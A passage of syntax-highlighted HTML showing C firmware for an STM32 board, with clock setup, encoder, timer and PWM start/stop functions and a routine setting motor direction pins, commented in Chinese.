class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Initializes the CPU, AHB and APB buses clocks\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eClockType\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_HCLK\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_SYSCLK\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_PCLK1\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_PCLK2\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_D3PCLK1\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_CLOCKTYPE_D1PCLK1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSYSCLKSource\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_SYSCLKSOURCE_PLLCLK\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSYSCLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_SYSCLK_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAHBCLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_HCLK_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB3CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB3_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB1CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB1_DIV2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB2CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB2_DIV2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAPB4CLKDivider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eRCC_APB4_DIV1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eHAL_RCC_ClockConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eRCC_ClkInitStruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFLASH_LATENCY_1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eHAL_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 4 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里定义一些变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 电机转一圈所需的Encoder读数累和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1440\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标速度 Encoder读出的真实速度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标位置总读数和 实际位置读数和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 给电机的PWM设定的占空比数值(这里需要每次累加,因为使用的是增程式pid)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Encoder tim 开启解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Time Control tim 开启定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Start_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start the pwm tim 开启pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数。 防止下次启动时有上次残留的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Encoder tim 关闭解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Time Control tim 关闭定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Stop_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop the pwm tim 关闭pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个函数用来设定电机 正转/反转/不转/刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里需要对照你的接线来设定,BIN1和BIN2对应的不同状态状态可以在驱动的说明中找到\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 同时也要对应好 屏幕设定的 复选框 发送的0/1对应的正反转\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 1 foreward\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 0 reversal\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -1 stop\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -2 brake\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 